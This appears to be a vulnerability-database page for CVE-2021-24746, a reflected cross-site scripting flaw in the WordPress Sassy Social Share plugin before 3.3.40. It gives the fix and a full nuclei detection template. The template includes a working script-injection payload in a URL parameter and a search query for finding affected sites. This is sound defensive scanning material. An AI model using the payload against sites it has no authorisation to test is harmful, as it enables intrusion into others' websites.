Browse / CVEs / CVE-2021-24746
CVE-2021-24746· heateor / sassy social share· CWE-79
WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting
mediumseverity
6.1CVSS score
2.2%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it
WordPress plugin Sassy Social Share < 3.3.40 contains a reflected cross-site scripting vulnerability.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
Fix
Update the WordPress Sassy Social Share Plugin to version 3.3.40 or later to mitigate the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/wp-json/wp/v2/posts ; GET {{BaseURL}}/{{slug}}/?a"><script>alert(document.domain)</script>
Positive when: contains "?a\"><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-24746 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-24746
info:
name: WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting
author: Supras
severity: medium
description: WordPress plugin Sassy Social Share < 3.3.40 contains a reflected cross-site scripting vulnerability.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
remediation: |
Update the WordPress Sassy Social Share Plugin to version 3.3.40 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/99f4fb32-e312-4059-adaf-f4cbaa92d4fa
- https://nvd.nist.gov/vuln/detail/CVE-2021-24746
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24746
cwe-id: CWE-79
epss-score: 0.02244
epss-percentile: 0.83009
cpe: cpe:2.3:a:heateor:sassy_social_share:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: heateor
product: sassy_social_share
framework: wordpress
google-query: inurl:"/wp-content/plugins/sassy-social-share"
tags: cve,cve2021,wordpress,wp-plugin,xss,wp,wpscan,heateor,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/wp/v2/posts"
- "{{BaseURL}}/{{slug}}/?a"><script>alert(document.domain)</script>"
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- '?a"><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
extractors:
- type: regex
name: slug
group: 1
regex:
- '"slug":"([_a-z-A-Z0-9]+)",'
internal: true
part: bodyReferences
- https://wpscan.com/vulnerability/99f4fb32-e312-4059-adaf-f4cbaa92d4fa
- https://nvd.nist.gov/vuln/detail/CVE-2021-24746
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from